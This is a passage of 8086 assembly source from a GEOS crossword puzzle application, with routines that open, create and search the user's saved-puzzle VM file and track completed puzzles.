MSG_CFB_GET_SOURCE_FILE_PATH uses ax, cx, es .enter mov es, dx ; buffer segment mov ax, ds:[di].CFBI_filePath.GFP_disk mov es:[bp].GFP_disk, ax ; ds:si - path to copy from instance data lea si, ds:[di].CFBI_filePath.GFP_path ; es:di - path buffer to fill lea di, es:[bp].GFP_path mov cx, PATH_BUFFER_SIZE shr cx jnc evenNum movsb evenNum: rep movsw .leave ret CFBGetSourceFilePath endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindPuzzleCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle block handle matching the puzzle file name given. CALLED BY: ChunkArrayEnum from FileWriteUserDocument PASS: es:dx - puzzle name to look for *ds:si - array ds:di - array element being enumerated RETURN: CF - set if puzzle found, clear otherwise. cx - TRUE if puzzle match found, FALSE otherwise. ax - element number of found puzzle name if CX = TRUE. Otherwise ax is meaningless. DESTROYED: ax is trashed if and only if cx == FALSE. SIDE EFFECTS: PSEUDO CODE/STRATEGY: procedure is a far because it is a callback. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindPuzzleCallback proc far .enter EC < call ECCheckChunkArray > push si, di ; array pointer, element pointer ; ds:si - puzzle name for this array element ; lea si, ds:[di].PD_puzzleName ; es:di - puzzle name (file name) to look for ; mov di, dx ; es:di - puzzle name to look for clr cx ; compare till NULL terminated call LocalCmpStrings jz found ; puzzle names don't match pop si, di ; array pointer, element pointer mov cx, FALSE clc finish: .leave ret found: pop si, di ; array pointer, element pointer EC < call ECCheckChunkArray > call ChunkArrayPtrToElement ; ax - element mov cx, TRUE stc jmp finish FileFindPuzzleCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileOpenUserDocument %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Open the user solution VM file. If it does not exist, create the file and initialize the map block with ordered puzzle data. CALLED BY: FILE MODULE INTERNAL (FileReadUserDocument) PASS: none RETURN: bx - VM file handle CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileOpenUserDocument proc near protocolNum local ProtocolNumber uses ax,cx,dx,di,ds,es .enter call FilePushDir mov ax, SP_PRIVATE_DATA call FileSetStandardPath ; ; make ds:dx the file name to open ; First try to open the existing file, if it does not exist, ; then create and initialize it properly. ; mov bx, handle CwordStrings ; single-launchable call MemLock ; ax - segment mov ds, ax mov dx, ds:[USER_DOC_NAME] mov ah, VMO_OPEN mov al, mask VMAF_FORCE_READ_WRITE clr cx call VMOpen ; bx - file handle ; ax - VMStatus jnc success ; an error occurred. If file does not already exist, it ; will be created and its map block initialized. cmp ax, VM_FILE_NOT_FOUND jne fileErr createUserDoc: mov ah, VMO_CREATE_ONLY mov al, mask VMAF_FORCE_READ_WRITE call VMOpen ; bx - VM file handle jc fileErr cmp ax, VM_CREATE_OK jne fileErr ; The file is successfully created. A VM block must be ; allocated for the MapBlock and must be initialized with ; puzzle information. mov ax, LMEM_TYPE_GENERAL mov cx, size VMUserBlockHeader call VMAllocLMem ; ax - VM block handle ; lmem heap space - 64 bytes call FileInitializeMapBlock jc finish call VMSetMapBlock ; Set the Protocol number for this newly created user document mov ss:[protocolNum].PN_major, USER_DOC_PROTOCOL_MAJOR mov ss:[protocolNum].PN_minor, USER_DOC_PROTOCOL_MINOR mov ax, FEA_PROTOCOL segmov es, ss lea di, ss:[protocolNum] mov cx, size ProtocolNumber call FileSetHandleExtAttributes EC < ERROR_C FILE_CANNOT_SET_USER_PROTOCOL > jmp finish success: ; Get the protocol number of this user document and ; check to see if it is valid. ; + If the doc's numbers are greater than the protocol ; of this application, exit ; + If the doc's numbers are lower than the protocol of ; this application, delete the user doc and ; make a new one. mov ax, FEA_PROTOCOL segmov es, ss lea di, ss:[protocolNum] mov cx, size ProtocolNumber call FileGetHandleExtAttributes jc badProtAttrs cmp ss:[protocolNum].PN_major, USER_DOC_PROTOCOL_MAJOR jg exitErr jl badProtAttrs cmp ss:[protocolNum].PN_minor, USER_DOC_PROTOCOL_MINOR jg exitErr jl badProtAttrs clc finish: pushf call FilePopDir popf .leave ret fileErr: ; couldn't create user document mov di, CREATE_VM_ERR call CwordHandleError jmp finish badProtAttrs: ; ds:dx = filename clr al call VMClose EC < ERROR_C FILE_CANNOT_CLOSE_USER_DOC > call FileDelete EC < ERROR_C FILE_CANNOT_DELETE_USER_DOC > mov di, USER_PROT_ERR push dx ; filename offset mov dx, WARN_N_CONT call CwordPopUpDialogBox pop dx ; filename offset jmp createUserDoc exitErr: clr al call VMClose EC < ERROR_C FILE_CANNOT_CLOSE_USER_DOC > mov di, UPGRADE_ERR mov dx, WARN_N_CONT call CwordPopUpDialogBox call CwordExit stc jmp finish FileOpenUserDocument endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileInitializeMapBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a chunk array of PuzzleData in the map block. CALLED BY: FileOpenUserDocument PASS: ax - VM block handle bx - VM file handle RETURN: CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: WARNING: This routine MAY resize the *VM* LMem block, moving it on the heap and invalidating stored segment pointers and current register or stored offsets to it. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileInitializeMapBlock proc near uses ax,bx,cx,si,bp,ds .enter call VMLock ; ax - segment of locked VM block ; bp - memory handle of locked VM block ; Create the Chunk Array in the map block which will store the ; information about puzzles in the VM file. mov ds, ax ; segment of VM block mov bx, size PuzzleData ; element size clr cx, si clr al call ChunkArrayCreate ; *ds:si = array (block ; possible moved) jc chunkErrorDialog mov ds:[VMUBH_orderedPuzzleChunkHandle], si ; bp - memory handle of locked VM block ; Create variable sized element array for holding names of ; completed but not deleted puzzles clr al clr bx,si,cx call ChunkArrayCreate mov ds:[VMUBH_completedPuzzleChunkHandle], si call VMDirty call VMUnlock clc finish: .leave ret chunkErrorDialog: ; bp - memory handle of locked VM block call VMUnlock mov di, CHUNK_ARRAY_ERR call CwordHandleError jmp finish FileInitializeMapBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileReadUserDocument %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read in the User document for the file named in CFBI_sourceFile. Initialize the Engine and Board with the new data. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: *ds:si - CwordFileBoxClass object dx - engine token RETURN: ds - possibly updated CwordFileBox segment CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: If the user document for the puzzle named in the instance data CFBI_sourceFile exists, then read in its data, else create new default data for it and write that to the user document. Give the Engine module the user data. Tell the Board module to initialize itself. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileReadUserDocument proc near memHandle local word vmFileHandle local word boardInitData local BoardInitializeData class CwordFileBoxClass uses ax,bx,dx,si,di .enter ForceRef memHandle Assert objectPtr dssi, CwordFileBoxClass ; Place the engine token within the boardInitData mov ax, dx mov ss:[boardInitData].BID_engine, ax call FileOpenUserDocument ; bx - VM file handle LONG jc finish mov ss:[vmFileHandle], bx call FileGetUserDocPuzzleBlockHandle ; ax - puzzle block handle jc errOccurred call FileGiveDataToEngine clr al call VMClose jc vmErr ; Tell the Board Module to initialize itself push bp ; locals pointer lea bp, ss:[boardInitData] mov dx, size BoardInitializeData mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_STACK mov ax, MSG_CWORD_BOARD_INITIALIZE_BOARD call ObjMessage pop bp ; locals pointer cmp ax, IRV_FAILURE je initFailed clc finish: .leave ret errOccurred: clr al call VMClose jnc setCarry vmErr: mov di, VM_ERR call CwordHandleError jmp finish initFailed: mov di, CWORD_INIT_FAILED_ERR call CwordHandleError setCarry: stc jmp finish FileReadUserDocument endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetUserDocPuzzleBlockHandle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the block handle of the puzzle's user document within the user document VM file. CALLED BY: FILE MODULE INTERNAL (FileReadUserDocument) PASS: *ds:si - CwordFileBoxClass object bx - VM file handle dx - engine token RETURN: ax - puzzle block handle CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: If the puzzle has a user document in the VM file, move its PuzzleData to the front of the map block. Else create new default data in the user document for the never-previously-played puzzle and write it to the front of the map block. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/13/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetUserDocPuzzleBlockHandle proc near vmFileHandle local word push bx objectChunkHandle local word push si mapBlockMemoryHandle local hptr uses cx,si,di,bp,ds,es .enter Assert objectPtr dssi, CwordFileBoxClass push bp ; locals pointer call FileFindPuzzleInMapBlock call FileLockMapBlockAndMainArray ; cx - TRUE or FALSE if match was found. ; ax - element of puzzle in map block IF found, ; trashed otherwise ;*ds:si - map block ordered puzzle array ; es - CwordFileBox segment ; bp - map block memory handle mov bx, bp ; map block memory handle pop bp ; locals pointer mov ss:[mapBlockMemoryHandle], bx mov bx, ss:[vmFileHandle] ; restore bx to VM file handle cmp cx, TRUE jne notFound call FileMoveElementToFront ; ax - puzzle block handle ; ds - possibly updated ; segment pointer to ; the map block ; CF set if error call FileSetNewPathInFirstElement jmp done notFound: mov di, ss:[objectChunkHandle] call FileCreateNewPuzzleData ; ax - puzzle block handle ; ds - possibly updated ; segment pointer to ; the map block ; CF set if error done: pushf push bp ; locals pointer mov bp, ss:[mapBlockMemoryHandle] call VMDirty push ax ; puzzle block handle call VMUpdate ; ax - error code pop ax ; puzzle block handle jc vmErr call VMUnlock segmov ds, es ; CwordFileBox segment finish: pop bp ; locals pointer popf .leave ret vmErr: clr ax ; bad puzzle handle mov di, VM_ERR call CwordHandleError jmp finish FileGetUserDocPuzzleBlockHandle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGiveDataToEngine %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Give the user's data to the Engine Module. CALLED BY: FileReadUserDocument PASS: ax - puzzle block handle bx - VM file handle dx - engine token bp - stack frame locals pointer RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGiveDataToEngine proc near uses ax,cx,si,es .enter inherit FileReadUserDocument push bp ; locals pointer call VMLock ; ax - segment, bp - memory handle mov es, ax ; puzzle segment mov ax, bp ; memory handle pop bp ; locals pointer mov ss:[memHandle], ax ; memory handle push bp ; locals pointer clr bp ; the Engine can read directly from the VM block in es:bp call EngineReadCellData ; GET THE DIRECTION mov bl, {byte}es:[bp] ; direction inc bp ; GET THE SELECTED CELL by looking at the number of the ; first cell in the selected word and the offset of the ; selected cell within the word. mov al, {byte}es:[bp] ; number in first cell ; of selected word inc bp call EngineMapCellNumberToCellToken ; ax - cell token mov cx, bp ; buffer offset pop bp ; locals pointer ;HACK clr bh mov ss:[boardInitData].BID_direction, bx push bp ; locals pointer mov bp, cx ; buffer offset mov cl, {byte}es:[bp] ; offset of cell in word inc bp call EngineGetCellTokenGivenOffsetAndDirection ; ax - ; cell token mov cx, bp ; buffer offset pop bp ; locals pointer mov ss:[boardInitData].BID_cell, ax push bp ; locals pointer mov bp, cx ; buffer offset ; GET THE ACROSS SELECTED CLUE mov al, {byte}es:[bp] ; across clue number inc bp mov cx, ACROSS call EngineMapClueNumberToClueToken ; cx - clue token mov si, cx ; clue token ; GET THE DOWN SELECTED CLUES mov al, {byte}es:[bp] ; down clue number inc bp mov cx, DOWN call EngineMapClueNumberToClueToken ; cx - clue token pop bp ; locals pointer mov ss:[boardInitData].BID_acrossClue, si mov ss:[boardInitData].BID_downClue, cx push bp ; locals pointer mov bx, ss:[vmFileHandle] mov bp, ss:[memHandle] call VMUnlock pop bp ; locals pointer .leave ret FileGiveDataToEngine endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetBlockHandleOfFirstPuzzle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the block handle of the first puzzle in the map block of the VM file. CALLED BY: FileWriteUserDocument PASS: bx - VM file handle *ds:si - CwordFileBox object RETURN: ax - VM block handle for puzzle data DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/24/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetBlockHandleOfFirstPuzzle proc near class CwordFileBoxClass uses bx,dx,di,si,bp,ds,es .enter Assert objectPtr dssi, CwordFileBoxClass ; Get the MapBlock, then look at the first element of the ; chunk array within it. segmov es,ds ; object segment mov di,si ; object chunk handle call FileLockMapBlockAndMainArray mov di, es:[di] ; instance data ptr mov dx, es:[di].CFBI_engine getFirst: clr ax call ChunkArrayElementToPtr ; ds:di - element jnc puzzleFound ; The user document was probably deleted and recreated for ; some reason, so the first element in the ordered puzzles ; chunk array is no longer our puzzle solution element. ; Re-create it. call FileCreateNewPuzzleData jmp getFirst puzzleFound: mov ax, ds:[di].PD_puzzleHandle push ax ; puzzle handle call VMUpdate ; save and unlock the ; mapblock jc vmErr call VMUnlock pop ax ; puzzle handle clc finish: .leave ret vmErr: pop ax ; puzzle handle clr ax ; bad puzzle handle mov di, VM_ERR call CwordHandleError jmp finish FileGetBlockHandleOfFirstPuzzle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetNameAndPathOfFirstPuzzle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the puzzle name of the first puzzle in the map block of the VM file. CALLED BY: CFBLoadLastPuzzlePlayed PASS: bx - VM file handle *ds:si - CwordFileBox object cx:dx - buffer of length FILE_LONGNAME_BUFFER_SIZE for filename es:di - buffer of GenFilePath RETURN: clc filled buffers stc no first puzzle DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/24/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetNameAndPathOfFirstPuzzle proc near class CwordFileBoxClass filePathSegment local word push es filePathoffset local word push di mapBlockMemHandle local word elementSegment local word elementOffset local word uses ax,cx,di,si,ds,es .enter Assert objectPtr dssi, CwordFileBoxClass segmov es,ds ;object segment push bp ;locals call FileLockMapBlockAndMainArray mov di,bp ;vm mem lock handle pop bp ;locals mov mapBlockMemHandle,di clr ax call ChunkArrayElementToPtr ; ds:di - element LONG jc noElements mov ss:[elementSegment], ds mov ss:[elementOffset], di ; copy the puzzle name to the new element ; set up arguments for movs{b,w} ; ds:si = puzzle name, es:di = place to copy to lea si, ds:[di].PD_puzzleName mov es, cx mov di, dx mov cx, FILE_LONGNAME_BUFFER_SIZE shr cx jnc evenNum movsb evenNum: rep movsw ; copy the disk handle and the path from the element to ; the GenFilePath buffer mov ds, ss:[elementSegment] mov si, ss:[elementOffset] mov es, ss:[filePathSegment] mov di, ss:[filePathoffset] mov ax, ds:[si].PD_filePath.GFP_disk mov es:[di].GFP_disk, ax ; copy the path to the new element ; set up arguments for movs{b,w} ; ds:si = path, es:di = place to copy to lea si, ds:[si].PD_filePath.GFP_path lea di, es:[di].GFP_path mov cx, PATH_BUFFER_SIZE shr cx jnc evenNumPath movsb evenNumPath: rep movsw call VMUpdate ; save and unlock the ; mapblock jc vmErr push bp ; locals mov bp, ss:[mapBlockMemHandle] call VMUnlock pop bp ; locals clc finish: .leave ret vmErr: pop ax ; puzzle handle clr ax ; bad puzzle handle mov di, VM_ERR call CwordHandleError jmp finish noElements: push bp ; locals mov bp, ss:[mapBlockMemHandle] call VMUnlock pop bp ; locals stc jmp finish FileGetNameAndPathOfFirstPuzzle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindPuzzleInMapBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle specified in CFBI_sourceFile of the CwordFileBox instance data in the map block of the VM user document file. CALLED BY: FileGetUserDocPuzzleBlockHandle PASS: bx - VM file handle *ds:si - CwordFileBoxClass object RETURN: cx - TRUE or FALSE whether a matching puzzle was found ax - element number of found puzzle if CX = TRUE. Otherwise ax is meaningless. es - CwordFileBox segment DESTROYED: ax if CX = FALSE, used as return value otherwise SIDE EFFECTS: PSEUDO CODE/STRATEGY: Assume that no two files have the same source filename. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindPuzzleInMapBlock proc near class CwordFileBoxClass uses dx,di,bp .enter Assert objectPtr dssi, CwordFileBoxClass segmov es,ds mov di, es:[si] ; instance pointer lea dx, es:[di].CFBI_sourceFile call FileFindPuzzleInMapBlockLow .leave ret FileFindPuzzleInMapBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindPuzzleInMapBlockLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle specified in the map block of the VM user document file. CALLED BY: FileFindPuzzleInMapBlock PASS: bx - VM file handle es:dx - null terminated puzzle name RETURN: cx - TRUE or FALSE whether a matching puzzle was found ax - element number of found puzzle if CX = TRUE. Otherwise ax is meaningless. DESTROYED: ax if CX = FALSE, used as return value otherwise SIDE EFFECTS: PSEUDO CODE/STRATEGY: Assume that no two files have the same source filename. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindPuzzleInMapBlockLow proc near class CwordFileBoxClass uses bx,dx,di,bp,ds,si .enter call FileLockMapBlockAndMainArray mov cx, FALSE ; initially, puzzle is not found mov bx, cs mov di, offset FileFindPuzzleCallback call ChunkArrayEnum call VMUnlock ; map block .leave ret FileFindPuzzleInMapBlockLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileLockMapBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: lock the map and return cool info CALLED BY: UTILITY PASS: bx - vm file handle RETURN: ds - segment of map block bp - mem handle of map block DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileLockMapBlock proc near uses ax .enter call VMGetMapBlock ; ax - block handle Assert ne ax, 0 ; map block should exist call VMLock ; ax - segment ; bp - memory handle of block mov ds, ax ; map block segment .leave ret FileLockMapBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileLockMapBlockAndMainArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: lock the map and return cool info CALLED BY: UTILITY PASS: bx - vm file handle RETURN: *ds:si - map block ordered puzzle array bp - mem handle of map block DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileLockMapBlockAndMainArray proc near uses ax .enter call FileLockMapBlock mov si, ds:[VMUBH_orderedPuzzleChunkHandle] EC < call ECCheckChunkArray > .leave ret FileLockMapBlockAndMainArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileLockMapBlockAndCompletedArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: lock the map and return cool info CALLED BY: UTILITY PASS: bx - vm file handle RETURN: *ds:si - map block ordered puzzle array bp - mem handle of map block DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileLockMapBlockAndCompletedArray proc near uses ax .enter call FileLockMapBlock mov si, ds:[VMUBH_completedPuzzleChunkHandle] EC < call ECCheckChunkArray > .leave ret FileLockMapBlockAndCompletedArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAddCompletedPuzzle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add the file name in CFBI_sourceFile to the completed puzzle array CALLED BY: CFBMarkComplete PASS: *ds:si - CwordFileBox RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileAddCompletedPuzzle proc near class CwordFileBoxClass uses ax,bx,cx,ds,si,es,di,bp .enter Assert objectPtr dssi, CwordFileBoxClass segmov es,ds ;object segment mov di,si ;object chunk ; Open the user document and lock down the block with ; the chunk array of completed puzzle names ; call FileOpenUserDocument jc done push bx ;vm file handle call FileLockMapBlockAndCompletedArray ; Calculate the length of the file name and create an ; element of that size ; push di ;object chunk mov di,es:[di] add di,offset CFBI_sourceFile mov bx,di ;offset to string call LocalStringLength mov ax,cx ;string length inc ax ;+ null terminator call ChunkArrayAppend pop si ;object chunk jc unlockMap ; Copy string from CFBI_sourcFile into element ; segxchg es,ds ;element segment, string segment mov si,ds:[si] add si,offset CFBI_sourceFile LocalCopyString unlockMap: pop bx ;vm file handle call VMUnlock ;map block call VMUpdate call VMClose done: .leave ret FileAddCompletedPuzzle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindCompletedPuzzleInMapBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle specified in CFBI_sourceFile of the CwordFileBox instance data in the completed array of the map block of the VM user document file. CALLED BY: CFBRemoveFromCompletedArray PASS: bx - VM file handle *ds:si - CwordFileBoxClass object RETURN: cx - TRUE or FALSE whether a matching puzzle was found ax - element number of found puzzle if CX = TRUE. Otherwise ax is meaningless. es - CwordFileBox segment DESTROYED: ax if CX = FALSE, used as return value otherwise SIDE EFFECTS: PSEUDO CODE/STRATEGY: Assume that no two files have the same source filename. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindCompletedPuzzleInMapBlock proc near class CwordFileBoxClass uses dx,di,bp .enter Assert objectPtr dssi, CwordFileBoxClass segmov es,ds mov di, es:[si] ; instance pointer lea dx, es:[di].CFBI_sourceFile call FileFindCompletedPuzzleInMapBlockLow .leave ret FileFindCompletedPuzzleInMapBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindCompletedPuzzleInMapBlockLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle specified in the completed chunk array in the map block of the VM user document file. CALLED BY: PASS: bx - VM file handle es:dx - null terminated puzzle name RETURN: cx - TRUE or FALSE whether a matching puzzle was found ax - element number of found puzzle if CX = TRUE. Otherwise ax is meaningless. DESTROYED: ax if CX = FALSE, used as return value otherwise SIDE EFFECTS: PSEUDO CODE/STRATEGY: Assume that no two files have the same source filename. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindCompletedPuzzleInMapBlockLow proc near class CwordFileBoxClass uses bx,dx,di,bp,ds,si .enter call FileLockMapBlockAndCompletedArray mov cx, FALSE ; initially, puzzle is not found mov bx, cs mov di, offset FileFindCompletedPuzzleCallback call ChunkArrayEnum call VMUnlock ; map block .leave ret FileFindCompletedPuzzleInMapBlockLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileFindCompletedPuzzleCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the puzzle block handle matching the puzzle file name given. CALLED BY: ChunkArrayEnum PASS: es:dx - puzzle name to look for *ds:si - completd chunk array ds:di - array element being enumerated RETURN: CF - set if puzzle found, clear otherwise. cx - TRUE if puzzle match found, FALSE otherwise. ax - element number of found puzzle name if CX = TRUE. Otherwise ax is meaningless. DESTROYED: ax is trashed if and only if cx == FALSE. SIDE EFFECTS: PSEUDO CODE/STRATEGY: procedure is a far because it is a callback. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileFindCompletedPuzzleCallback proc far .enter EC < call ECCheckChunkArray > push si, di ; array pointer, element pointer mov si, di ; offset to puzzle name ; es:di - puzzle name (file name) to look for ; mov di, dx ; 